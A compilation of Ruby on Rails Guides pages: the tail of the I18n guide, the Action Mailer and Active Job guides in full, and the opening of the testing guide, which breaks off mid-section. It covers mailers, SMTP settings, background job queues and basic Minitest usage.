I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in gems and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.

Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our mailing list!)

If you find your own locale (language) missing from our example translations data repository for Ruby on Rails, please fork the repository, add your data and send a pull request.

9 Resources

- Google group: rails-i18n - The project's mailing list.

- GitHub: rails-i18n - Code repository and issue tracker for the rails-i18n project. Most importantly you can find lots of example translations for Rails that should work for your application in most cases.

- GitHub: i18n - Code repository and issue tracker for the i18n gem.

10 Authors

- Sven Fuchs (initial author)

- Karel Minařík

11 Footnotes

[1] Or, to quote Wikipedia: "Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."

[2] Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.

[3] One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.

Action Mailer Basics — Ruby on Rails...

1 Introduction

Action Mailer allows you to send emails from your application using mailer classes and views. Mailers work very similarly to controllers. They inherit from ActionMailer::Base and live in app/mailers, and they have associated views that appear in app/views.

2 Sending Emails

This section will provide a step-by-step guide to creating a mailer and its views.

2.1 Walkthrough to Generating a Mailer

2.1.1 Create the Mailer

$ bin/rails generate mailer UserMailer
create  app/mailers/user_mailer.rb
create  app/mailers/application_mailer.rb
invoke  erb
create    app/views/user_mailer
create    app/views/layouts/mailer.text.erb
create    app/views/layouts/mailer.html.erb
invoke  test_unit
create    test/mailers/user_mailer_test.rb
create    test/mailers/previews/user_mailer_preview.rb

# app/mailers/application_mailer.rb
class ApplicationMailer < ActionMailer::Base
default from: "from@example.com"
layout 'mailer'
end

# app/mailers/user_mailer.rb
class UserMailer < ApplicationMailer
end

As you can see, you can generate mailers just like you use other generators with Rails. Mailers are conceptually similar to controllers, and so we get a mailer, a directory for views, and a test.

If you didn't want to use a generator, you could create your own file inside of app/mailers, just make sure that it inherits from ActionMailer::Base:

class MyMailer < ActionMailer::Base
end

2.1.2 Edit the Mailer

Mailers are very similar to Rails controllers. They also have methods called "actions" and use views to structure the content. Where a controller generates content like HTML to send back to the client, a Mailer creates a message to be delivered via email.

app/mailers/user_mailer.rb contains an empty mailer:

class UserMailer < ApplicationMailer
end

Let's add a method called welcome_email, that will send an email to the user's registered email address:

class UserMailer < ApplicationMailer
default from: 'notifications@example.com'

def welcome_email(user)
@user = user
@url  = 'http://example.com/login'
mail(to: @user.email, subject: 'Welcome to My Awesome Site')
end
end

Here is a quick explanation of the items presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of Action Mailer user-settable attributes section.

- default Hash - This is a hash of default values for any email you send from this mailer. In this case we are setting the :from header to a value for all messages in this class. This can be overridden on a per-email basis.

- mail - The actual email message, we are passing the :to and :subject headers in.

Just like controllers, any instance variables we define in the method become available for use in the views.

2.1.3 Create a Mailer View

Create a file called welcome_email.html.erb in app/views/user_mailer/. This will be the template used for the email, formatted in HTML:

<!DOCTYPE html>
<html>
<head>
<meta content='text/html; charset=UTF-8' http-equiv='Content-Type' />
</head>
<body>
<h1>Welcome to example.com, <%= @user.name %></h1>
<p>
You have successfully signed up to example.com,
your username is: <%= @user.login %>.<br>
</p>
<p>
To login to the site, just follow this link: <%= @url %>.
</p>
<p>Thanks for joining and have a great day!</p>
</body>
</html>

Let's also make a text part for this email. Not all clients prefer HTML emails, and so sending both is best practice. To do this, create a file called welcome_email.text.erb in app/views/user_mailer/:

Welcome to example.com, <%= @user.name %>
===============================================

You have successfully signed up to example.com,
your username is: <%= @user.login %>.

To login to the site, just follow this link: <%= @url %>.

Thanks for joining and have a great day!

When you call the mail method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a multipart/alternative email.

2.1.4 Calling the Mailer

Mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the email protocols instead. Due to this, it makes sense to just have your controller tell the Mailer to send an email when a user is successfully created.

Setting this up is painfully simple.

First, let's create a simple User scaffold:

$ bin/rails generate scaffold user name email login
$ bin/rails db:migrate

Now that we have a user model to play with, we will just edit the app/controllers/users_controller.rb make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to UserMailer.welcome_email right after the user is successfully saved.

Action Mailer is nicely integrated with Active Job so you can send emails outside of the request-response cycle, so the user doesn't have to wait on it:

class UsersController < ApplicationController
# POST /users
# POST /users.json
def create
@user = User.new(params[:user])

respond_to do |format|
if @user.save
# Tell the UserMailer to send a welcome email after save
UserMailer.welcome_email(@user).deliver_later

format.html { redirect_to(@user, notice: 'User was successfully created.') }
format.json { render json: @user, status: :created, location: @user }
else
format.html { render action: 'new' }
format.json { render json: @user.errors, status: :unprocessable_entity }
end
end
end
end

Active Job's default behavior is to execute jobs via the :async adapter. So, you can use deliver_later now to send emails asynchronously. Active Job's default adapter runs jobs with an in-process thread pool. It's well-suited for the development/test environments, since it doesn't require any external infrastructure, but it's a poor fit for production since it drops pending jobs on restart. If you need a persistent backend, you will need to use an Active Job adapter that has a persistent backend (Sidekiq, Resque, etc).

If you want to send emails right away (from a cronjob for example) just call deliver_now:

class SendWeeklySummary
def run
User.find_each do |user|
UserMailer.weekly_summary(user).deliver_now
end
end
end

The method welcome_email returns an ActionMailer::MessageDelivery object which can then just be told deliver_now or deliver_later to send itself out. The ActionMailer::MessageDelivery object is just a wrapper around a Mail::Message. If you want to inspect, alter or do anything else with the Mail::Message object you can access it with the message method on the ActionMailer::MessageDelivery object.

2.2 Auto encoding header values

Action Mailer handles the auto encoding of multibyte characters inside of headers and bodies.

For more complex examples such as defining alternate character sets or self-encoding text first, please refer to the Mail library.

2.3 Complete List of Action Mailer Methods

There are just three methods that you need to send pretty much any email message:

- headers - Specifies any header on the email you want. You can pass a hash of header field names and value pairs, or you can call headers[:field_name] = 'value'.

- attachments - Allows you to add attachments to your email. For example, attachments['file-name.jpg'] = File.read('file-name.jpg').

- mail - Sends the actual email itself. You can pass in headers as a hash to the mail method as a parameter, mail will then create an email, either plain text, or multipart, depending on what email templates you have defined.

2.3.1 Adding Attachments

Action Mailer makes it very easy to add attachments.

- Pass the file name and content and Action Mailer and the Mail gem will automatically guess the mime_type, set the encoding and create the attachment.

attachments['filename.jpg'] = File.read('/path/to/filename.jpg')

When the mail method will be triggered, it will send a multipart email with an attachment, properly nested with the top level being multipart/mixed and the first part being a multipart/alternative containing the plain text and HTML email messages.

Mail will automatically Base64 encode an attachment. If you want something different, encode your content and pass in the encoded content and encoding in a Hash to the attachments method.

- Pass the file name and specify headers and content and Action Mailer and Mail will use the settings you pass in.

encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
attachments['filename.jpg'] = {
mime_type: 'application/gzip',
encoding: 'SpecialEncoding',
content: encoded_content
}

If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it.

2.3.2 Making Inline Attachments

Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.

- First, to tell Mail to turn an attachment into an inline attachment, you just call #inline on the attachments method within your Mailer:

def welcome
attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
end

- Then in your view, you can just reference attachments as a hash and specify which attachment you want to show, calling url on it and then passing the result into the image_tag method:

<p>Hello there, this is our image</p>

<%= image_tag attachments['image.jpg'].url %>

- As this is a standard call to image_tag you can pass in an options hash after the attachment URL as you could for any other image:

<p>Hello there, this is our image</p>

<%= image_tag attachments['image.jpg'].url, alt: 'My Photo', class: 'photos' %>

2.3.3 Sending Email To Multiple Recipients

It is possible to send email to one or more recipients in one email (e.g., informing all admins of a new signup) by setting the list of emails to the :to key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas.

class AdminMailer < ApplicationMailer
default to: Proc.new { Admin.pluck(:email) },
from: 'notification@example.com'

def new_registration(user)
@user = user
mail(subject: "New User Signup: #{@user.email}")
end
end

The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the :cc and :bcc keys respectively.

2.3.4 Sending Email With Name

Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is to format the email address in the format "Full Name" <email>.

def welcome_email(user)
@user = user
email_with_name = %("#{@user.name}" <#{@user.email}>)
mail(to: email_with_name, subject: 'Welcome to My Awesome Site')
end

2.4 Mailer Views

Mailer views are located in the app/views/name_of_mailer_class directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the welcome_email method will be in app/views/user_mailer/welcome_email.html.erb for the HTML version and welcome_email.text.erb for the plain text version.

To change the default mailer view for your action you do something like:

class UserMailer < ApplicationMailer
default from: 'notifications@example.com'

def welcome_email(user)
@user = user
@url  = 'http://example.com/login'
mail(to: @user.email,
subject: 'Welcome to My Awesome Site',
template_path: 'notifications',
template_name: 'another')
end
end

In this case it will look for templates at app/views/notifications with name another. You can also specify an array of paths for template_path, and they will be searched in order.

If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file:

class UserMailer < ApplicationMailer
default from: 'notifications@example.com'

def welcome_email(user)
@user = user
@url  = 'http://example.com/login'
mail(to: @user.email,
subject: 'Welcome to My Awesome Site') do |format|
format.html { render 'another_template' }
format.text { render text: 'Render text' }
end
end
end

This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as :text, :inline etc.

2.4.1 Caching mailer view

You can do cache in mailer views like in application views using cache method.

<% cache do %>
<%= @company.name %>
<% end %>

And in order to use this feature, you need to configure your application with this:

config.action_mailer.perform_caching = true

2.5 Action Mailer Layouts

Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as user_mailer.html.erb and user_mailer.text.erb to be automatically recognized by your mailer as a layout.

In order to use a different file, call layout in your mailer:

class UserMailer < ApplicationMailer
layout 'awesome' # use awesome.(html|text).erb as the layout
end

Just like with controller views, use yield to render the view inside the layout.

You can also pass in a layout: 'layout_name' option to the render call inside the format block to specify different layouts for different formats:

class UserMailer < ApplicationMailer
def welcome_email(user)
mail(to: user.email) do |format|
format.html { render layout: 'my_layout' }
format.text
end
end
end

Will render the HTML part using the my_layout.html.erb file and the text part with the usual user_mailer.text.erb file if it exists.

2.6 Previewing Emails

Action Mailer previews provide a way to see how emails look by visiting a special URL that renders them. In the above example, the preview class for UserMailer should be named UserMailerPreview and located in test/mailers/previews/user_mailer_preview.rb. To see the preview of welcome_email, implement a method that has the same name and call UserMailer.welcome_email:

class UserMailerPreview < ActionMailer::Preview
def welcome_email
UserMailer.welcome_email(User.first)
end
end

Then the preview will be available in http://localhost:3000/rails/mailers/user_mailer/welcome_email.

If you change something in app/views/user_mailer/welcome_email.html.erb or the mailer itself, it'll automatically reload and render it so you can visually see the new style instantly. A list of previews are also available in http://localhost:3000/rails/mailers.

By default, these preview classes live in test/mailers/previews. This can be configured using the preview_path option. For example, if you want to change it to lib/mailer_previews, you can configure it in config/application.rb:

config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"

2.7 Generating URLs in Action Mailer Views

Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the :host parameter yourself.

As the :host usually is consistent across the application you can configure it globally in config/application.rb:

config.action_mailer.default_url_options = { host: 'example.com' }

Because of this behavior you cannot use any of the *_path helpers inside of an email. Instead you will need to use the associated *_url helper. For example instead of using

<%= link_to 'welcome', welcome_path %>

You will need to use:

<%= link_to 'welcome', welcome_url %>

By using the full URL, your links will now work in your emails.

2.7.1 Generating URLs with url_for

url_for generate full URL by default in templates.

If you did not configure the :host option globally make sure to pass it to url_for.

<%= url_for(host: 'example.com',
controller: 'welcome',
action: 'greeting') %>

2.7.2 Generating URLs with Named Routes

Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, you should always use the "_url" variant of named route helpers.

If you did not configure the :host option globally make sure to pass it to the url helper.

<%= user_url(@user, host: 'example.com') %>

non-GET links require jQuery UJS and won't work in mailer templates. They will result in normal GET requests.

2.8 Adding images in Action Mailer Views

Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the :asset_host parameter yourself.

As the :asset_host usually is consistent across the application you can configure it globally in config/application.rb:

config.action_mailer.asset_host = 'http://example.com'

Now you can display an image inside your email.

<%= image_tag 'image.jpg' %>

2.9 Sending Multipart Emails

Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have welcome_email.text.erb and welcome_email.html.erb in app/views/user_mailer, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.

The order of the parts getting inserted is determined by the :parts_order inside of the ActionMailer::Base.default method.

2.10 Sending Emails with Dynamic Delivery Options

If you wish to override the default delivery options (e.g. SMTP credentials) while delivering emails, you can do this using delivery_method_options in the mailer action.

class UserMailer < ApplicationMailer
def welcome_email(user, company)
@user = user
@url  = user_url(@user)
delivery_options = { user_name: company.smtp_user,
password: company.smtp_password,
address: company.smtp_host }
mail(to: @user.email,
subject: "Please see the Terms and Conditions attached",
delivery_method_options: delivery_options)
end
end

2.11 Sending Emails without Template Rendering

There may be cases in which you want to skip the template rendering step and supply the email body as a string. You can achieve this using the :body option. In such cases don't forget to add the :content_type option. Rails will default to text/plain otherwise.

class UserMailer < ApplicationMailer
def welcome_email(user, email_body)
mail(to: user.email,
body: email_body,
content_type: "text/html",
subject: "Already rendered!")
end
end

3 Receiving Emails

Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to:

- Implement a receive method in your mailer.

- Configure your email server to forward emails from the address(es) you would like your app to receive to /path/to/app/bin/rails runner 'UserMailer.receive(STDIN.read)'.

Once a method called receive is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer receive instance method. Here's an example:

class UserMailer < ApplicationMailer
def receive(email)
page = Page.find_by(address: email.to.first)
page.emails.create(
subject: email.subject,
body: email.body
)

if email.has_attachments?
email.attachments.each do |attachment|
page.attachments.create({
file: attachment,
description: email.subject
})
end
end
end
end

4 Action Mailer Callbacks

Action Mailer allows for you to specify a before_action, after_action and around_action.

- Filters can be specified with a block or a symbol to a method in the mailer class similar to controllers.

- You could use a before_action to populate the mail object with defaults, delivery_method_options or insert default headers and attachments.

- You could use an after_action to do similar setup as a before_action but using instance variables set in your mailer action.

class UserMailer < ApplicationMailer
after_action :set_delivery_options,
:prevent_delivery_to_guests,
:set_business_headers

def feedback_message(business, user)
@business = business
@user = user
mail
end

def campaign_message(business, user)
@business = business
@user = user
end

private

def set_delivery_options
# You have access to the mail instance,
# @business and @user instance variables here
if @business && @business.has_smtp_settings?
mail.delivery_method.settings.merge!(@business.smtp_settings)
end
end

def prevent_delivery_to_guests
if @user && @user.guest?
mail.perform_deliveries = false
end
end

def set_business_headers
if @business
headers["X-SMTPAPI-CATEGORY"] = @business.code
end
end
end

- Mailer Filters abort further processing if body is set to a non-nil value.

5 Using Action Mailer Helpers

Action Mailer now just inherits from AbstractController, so you have access to the same generic helpers as you do in Action Controller.

6 Action Mailer Configuration

The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)

Configuration

Description

logger

Generates information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.

smtp_settings

Allows detailed configuration for :smtp delivery method:

- :address - Allows you to use a remote mail server. Just change it from its default "localhost" setting.

- :port - On the off chance that your mail server doesn't run on port 25, you can change it.

- :domain - If you need to specify a HELO domain, you can do it here.

- :user_name - If your mail server requires authentication, set the username in this setting.

- :password - If your mail server requires authentication, set the password in this setting.

- :authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain (will send the password in the clear), :login (will send password Base64 encoded) or :cram_md5 (combines a Challenge/Response mechanism to exchange information and a cryptographic Message Digest 5 algorithm to hash important information)

- :enable_starttls_auto - Detects if STARTTLS is enabled in your SMTP server and starts to use it. Defaults to true.

- :openssl_verify_mode - When using TLS, you can set how OpenSSL checks the certificate. This is really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name of an OpenSSL verify constant ('none', 'peer', 'client_once', 'fail_if_no_peer_cert') or directly the constant (OpenSSL::SSL::VERIFY_NONE, OpenSSL::SSL::VERIFY_PEER, ...).

sendmail_settings

Allows you to override options for the :sendmail delivery method.

- :location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.

- :arguments - The command line arguments to be passed to sendmail. Defaults to -i.

raise_delivery_errors

Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.

delivery_method

Defines a delivery method. Possible values are:

- :smtp (default), can be configured by using config.action_mailer.smtp_settings.

- :sendmail, can be configured by using config.action_mailer.sendmail_settings.

- :file: save emails to files; can be configured by using config.action_mailer.file_settings.

- :test: save emails to ActionMailer::Base.deliveries array.

See API docs for more info.

perform_deliveries

Determines whether deliveries are actually carried out when the deliver method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.

deliveries

Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.

default_options

Allows you to set default values for the mail method options (:from, :reply_to, etc.).

For a complete writeup of possible configurations see the Configuring Action Mailer in our Configuring Rails Applications guide.

6.1 Example Action Mailer Configuration

An example would be adding the following to your appropriate config/environments/$RAILS_ENV.rb file:

config.action_mailer.delivery_method = :sendmail
# Defaults to:
# config.action_mailer.sendmail_settings = {
#   location: '/usr/sbin/sendmail',
#   arguments: '-i'
# }
config.action_mailer.perform_deliveries = true
config.action_mailer.raise_delivery_errors = true
config.action_mailer.default_options = {from: 'no-reply@example.com'}

6.2 Action Mailer Configuration for Gmail

As Action Mailer now uses the Mail gem, this becomes as simple as adding to your config/environments/$RAILS_ENV.rb file:

config.action_mailer.delivery_method = :smtp
config.action_mailer.smtp_settings = {
address:              'smtp.gmail.com',
port:                 587,
domain:               'example.com',
user_name:            '<username>',
password:             '<password>',
authentication:       'plain',
enable_starttls_auto: true  }

Note: As of July 15, 2014, Google increased its security measures and now blocks attempts from apps it deems less secure. You can change your gmail settings here to allow the attempts or use another ESP to send email by replacing 'smtp.gmail.com' above with the address of your provider.

7 Mailer Testing

You can find detailed instructions on how to test your mailers in the testing guide.

8 Intercepting Emails

There are situations where you need to edit an email before it's delivered. Fortunately Action Mailer provides hooks to intercept every email. You can register an interceptor to make modifications to mail messages right before they are handed to the delivery agents.

class SandboxEmailInterceptor
def self.delivering_email(message)
message.to = ['sandbox@example.com']
end
end

Before the interceptor can do its job you need to register it with the Action Mailer framework. You can do this in an initializer file config/initializers/sandbox_email_interceptor.rb

if Rails.env.staging?
ActionMailer::Base.register_interceptor(SandboxEmailInterceptor)
end

The example above uses a custom environment called "staging" for a production like server but for testing purposes. You can read Creating Rails environments for more information about custom Rails environments.

Active Job Basics — Ruby on Rails Guides

1 Introduction

Active Job is a framework for declaring jobs and making them run on a variety of queuing backends. These jobs can be everything from regularly scheduled clean-ups, to billing charges, to mailings. Anything that can be chopped up into small units of work and run in parallel, really.

2 The Purpose of Active Job

The main point is to ensure that all Rails apps will have a job infrastructure in place. We can then have framework features and other gems build on top of that, without having to worry about API differences between various job runners such as Delayed Job and Resque. Picking your queuing backend becomes more of an operational concern, then. And you'll be able to switch between them without having to rewrite your jobs.

Rails by default comes with an "immediate runner" queuing implementation. That means that each job that has been enqueued will run immediately.

3 Creating a Job

This section will provide a step-by-step guide to creating a job and enqueuing it.

3.1 Create the Job

Active Job provides a Rails generator to create jobs. The following will create a job in app/jobs (with an attached test case under test/jobs):

$ bin/rails generate job guests_cleanup
invoke  test_unit
create    test/jobs/guests_cleanup_job_test.rb
create  app/jobs/guests_cleanup_job.rb

You can also create a job that will run on a specific queue:

$ bin/rails generate job guests_cleanup --queue urgent

If you don't want to use a generator, you could create your own file inside of app/jobs, just make sure that it inherits from ApplicationJob.

Here's what a job looks like:

class GuestsCleanupJob < ApplicationJob
queue_as :default

def perform(*guests)
# Do something later
end
end

Note that you can define perform with as many arguments as you want.

3.2 Enqueue the Job

Enqueue a job like so:

# Enqueue a job to be performed as soon as the queuing system is
# free.
GuestsCleanupJob.perform_later guest

# Enqueue a job to be performed tomorrow at noon.
GuestsCleanupJob.set(wait_until: Date.tomorrow.noon).perform_later(guest)

# Enqueue a job to be performed 1 week from now.
GuestsCleanupJob.set(wait: 1.week).perform_later(guest)

# `perform_now` and `perform_later` will call `perform` under the hood so
# you can pass as many arguments as defined in the latter.
GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_filter')

That's it!

4 Job Execution

For enqueuing and executing jobs in production you need to set up a queuing backend, that is to say you need to decide for a 3rd-party queuing library that Rails should use. Rails itself only provides an in-process queuing system, which only keeps the jobs in RAM. If the process crashes or the machine is reset, then all outstanding jobs are lost with the default async back-end. This may be fine for smaller apps or non-critical jobs, but most production apps will need to pick a persistent backend.

4.1 Backends

Active Job has built-in adapters for multiple queuing backends (Sidekiq, Resque, Delayed Job and others). To get an up-to-date list of the adapters see the API Documentation for ActiveJob::QueueAdapters.

4.2 Setting the Backend

You can easily set your queuing backend:

# config/application.rb
module YourApp
class Application < Rails::Application
# Be sure to have the adapter's gem in your Gemfile
# and follow the adapter's specific installation
# and deployment instructions.
config.active_job.queue_adapter = :sidekiq
end
end

You can also configure your backend on a per job basis.

class GuestsCleanupJob < ApplicationJob
self.queue_adapter = :resque
#....
end

# Now your job will use `resque` as it's backend queue adapter overriding what
# was configured in `config.active_job.queue_adapter`.

4.3 Starting the Backend

Since jobs run in parallel to your Rails application, most queuing libraries require that you start a library-specific queuing service (in addition to starting your Rails app) for the job processing to work. Refer to library documentation for instructions on starting your queue backend.

Here is a noncomprehensive list of documentation:

- Sidekiq

- Resque

- Sucker Punch

- Queue Classic

5 Queues

Most of the adapters support multiple queues. With Active Job you can schedule the job to run on a specific queue:

class GuestsCleanupJob < ApplicationJob
queue_as :low_priority
#....
end

You can prefix the queue name for all your jobs using config.active_job.queue_name_prefix in application.rb:

# config/application.rb
module YourApp
class Application < Rails::Application
config.active_job.queue_name_prefix = Rails.env
end
end

# app/jobs/guests_cleanup_job.rb
class GuestsCleanupJob < ApplicationJob
queue_as :low_priority
#....
end

# Now your job will run on queue production_low_priority on your
# production environment and on staging_low_priority
# on your staging environment

The default queue name prefix delimiter is '_'. This can be changed by setting config.active_job.queue_name_delimiter in application.rb:

# config/application.rb
module YourApp
class Application < Rails::Application
config.active_job.queue_name_prefix = Rails.env
config.active_job.queue_name_delimiter = '.'
end
end

# app/jobs/guests_cleanup_job.rb
class GuestsCleanupJob < ApplicationJob
queue_as :low_priority
#....
end

# Now your job will run on queue production.low_priority on your
# production environment and on staging.low_priority
# on your staging environment

If you want more control on what queue a job will be run you can pass a :queue option to #set:

MyJob.set(queue: :another_queue).perform_later(record)

To control the queue from the job level you can pass a block to #queue_as. The block will be executed in the job context (so you can access self.arguments) and you must return the queue name:

class ProcessVideoJob < ApplicationJob
queue_as do
video = self.arguments.first
if video.owner.premium?
:premium_videojobs
else
:videojobs
end
end

def perform(video)
# Do process video
end
end

ProcessVideoJob.perform_later(Video.last)

Make sure your queuing backend "listens" on your queue name. For some backends you need to specify the queues to listen to.

6 Callbacks

Active Job provides hooks during the life cycle of a job. Callbacks allow you to trigger logic during the life cycle of a job.

6.1 Available callbacks

- before_enqueue

- around_enqueue

- after_enqueue

- before_perform

- around_perform

- after_perform

6.2 Usage

class GuestsCleanupJob < ApplicationJob
queue_as :default

before_enqueue do |job|
# Do something with the job instance
end

around_perform do |job, block|
# Do something before perform
block.call
# Do something after perform
end

def perform
# Do something later
end
end

7 Action Mailer

One of the most common jobs in a modern web application is sending emails outside of the request-response cycle, so the user doesn't have to wait on it. Active Job is integrated with Action Mailer so you can easily send emails asynchronously:

# If you want to send the email now use #deliver_now
UserMailer.welcome(@user).deliver_now

# If you want to send the email through Active Job use #deliver_later
UserMailer.welcome(@user).deliver_later

8 Internationalization

Each job uses the I18n.locale set when the job was created. Useful if you send emails asynchronously:

I18n.locale = :eo

UserMailer.welcome(@user).deliver_later # Email will be localized to Esperanto.

9 GlobalID

Active Job supports GlobalID for parameters. This makes it possible to pass live Active Record objects to your job instead of class/id pairs, which you then have to manually deserialize. Before, jobs would look like this:

class TrashableCleanupJob < ApplicationJob
def perform(trashable_class, trashable_id, depth)
trashable = trashable_class.constantize.find(trashable_id)
trashable.cleanup(depth)
end
end

Now you can simply do:

class TrashableCleanupJob < ApplicationJob
def perform(trashable, depth)
trashable.cleanup(depth)
end
end

This works with any class that mixes in GlobalID::Identification, which by default has been mixed into Active Record classes.

10 Exceptions

Active Job provides a way to catch exceptions raised during the execution of the job:

class GuestsCleanupJob < ApplicationJob
queue_as :default

rescue_from(ActiveRecord::RecordNotFound) do |exception|
# Do something with the exception
end

def perform
# Do something later
end
end

10.1 Deserialization

GlobalID allows serializing full Active Record objects passed to #perform.

If a passed record is deleted after the job is enqueued but before the #perform method is called Active Job will raise an ActiveJob::DeserializationError exception.

11 Job Testing

You can find detailed instructions on how to test your jobs in the testing guide.

A Guide to Testing Rails Applications...

1 Why Write Tests for your Rails Applications?

Rails makes it super easy to write your tests. It starts by producing skeleton test code while you are creating your models and controllers.

By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.

Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.

2 Introduction to Testing

Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany.

2.1 Rails Sets up for Testing from the Word Go

Rails creates a test directory for you as soon as you create a Rails project using rails new application_name. If you list the contents of this directory then you shall see:

$ ls -F test
controllers/    helpers/        mailers/        test_helper.rb
fixtures/       integration/    models/

The models directory is meant to hold tests for your models, the controllers directory is meant to hold tests for your controllers and the integration directory is meant to hold tests that involve any number of controllers interacting. There is also a directory for testing your mailers and one for testing view helpers.

Fixtures are a way of organizing test data; they reside in the fixtures directory.

The test_helper.rb file holds the default configuration for your tests.

2.2 The Test Environment

By default, every Rails application has three environments: development, test, and production.

Each environment's configuration can be modified similarly. In this case, we can modify our test environment by changing the options found in config/environments/test.rb.

Your tests are run under RAILS_ENV=test.

2.3 Rails meets Minitest

If you remember, we used the rails generate model command in the Getting Started with Rails guide. We created our first model, and among other things it created test stubs in the test directory:

$ bin/rails generate model article title:string body:text
...
create  app/models/article.rb
create  test/models/article_test.rb
create  test/fixtures/articles.yml
...

The default test stub in test/models/article_test.rb looks like this:

require 'test_helper'

class ArticleTest < ActiveSupport::TestCase
# test "the truth" do
#   assert true
# end
end

A line by line examination of this file will help get you oriented to Rails testing code and terminology.

require 'test_helper'

By requiring this file, test_helper.rb the default configuration to run our tests is loaded. We will include this with all the tests we write, so any methods added to this file are available to all our tests.

class ArticleTest < ActiveSupport::TestCase

The ArticleTest class defines a test case because it inherits from ActiveSupport::TestCase. ArticleTest thus has all the methods available from ActiveSupport::TestCase. Later in this guide, we'll see some of the methods it gives us.

Any method defined within a class inherited from Minitest::Test (which is the superclass of ActiveSupport::TestCase) that begins with test_ (case sensitive) is simply called a test. So, methods defined as test_password and test_valid_password are legal test names and are run automatically when the test case is run.

Rails also adds a test method that takes a test name and a block. It generates a normal Minitest::Unit test with method names prefixed with test_. So you don't have to worry about naming the methods, and you can write something like:

test "the truth" do
assert true
end

Which is approximately the same as writing this:

def test_the_truth
assert true
end

However only the test macro allows a more readable test name. You can still use regular method definitions though.

The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. This may require use of define_method and send calls to function properly, but formally there's little restriction on the name.

Next, let's look at our first assertion:

assert true

An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:

- does this value = that value?

- is this object nil?

- does this line of code throw an exception?

- is the user's password greater than 5 characters?

Every test may contain one or more assertions, with no restriction as to how many assertions are allowed. Only when all the assertions are successful will the test pass.

2.3.1 Your first failing test

To see how a test failure is reported, you can add a failing test to the article_test.rb test case.

test "should not save article without title" do
article = Article.new
assert_not article.save
end

Let us run this newly added test (where 6 is the number of line where the test is defined).

$ bin/rails test test/models/article_test.rb:6
Run options: --seed 44656

# Running:

F

Failure:
ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]:
Expected true to be nil or false

bin/rails test test/models/article_test.rb:6

Finished in 0.023918s, 41.8090 runs/s, 41.8090 assertions/s.

1 runs, 1 assertions, 1 failures, 0 errors, 0 skips

In the output, F denotes a failure. You can see the corresponding trace shown under Failure along with the name of the failing test. The next few lines contain the stack trace followed by a message that mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:

test "should not save article without title" do
article = Article.new
assert_not article.save, "Saved the article without a title"
end

Running this test shows the friendlier assertion message:

Failure:
ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]:
Saved the article without a title

Now to get this test to pass we can add a model level validation for the title field.

class Article < ApplicationRecord
validates :title, presence: true
end

Now the test should pass. Let us verify by running the test again:

$ bin/rails test test/models/article_test.rb:6
Run options: --seed 31252

# Running:

.

Finished in 0.027476s, 36.3952 runs/s, 36.3952 assertions/s.

1 runs, 1 assertions, 0 failures, 0 errors, 0 skips

Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as Test-Driven Development (TDD).

2.3.2 What an error looks like

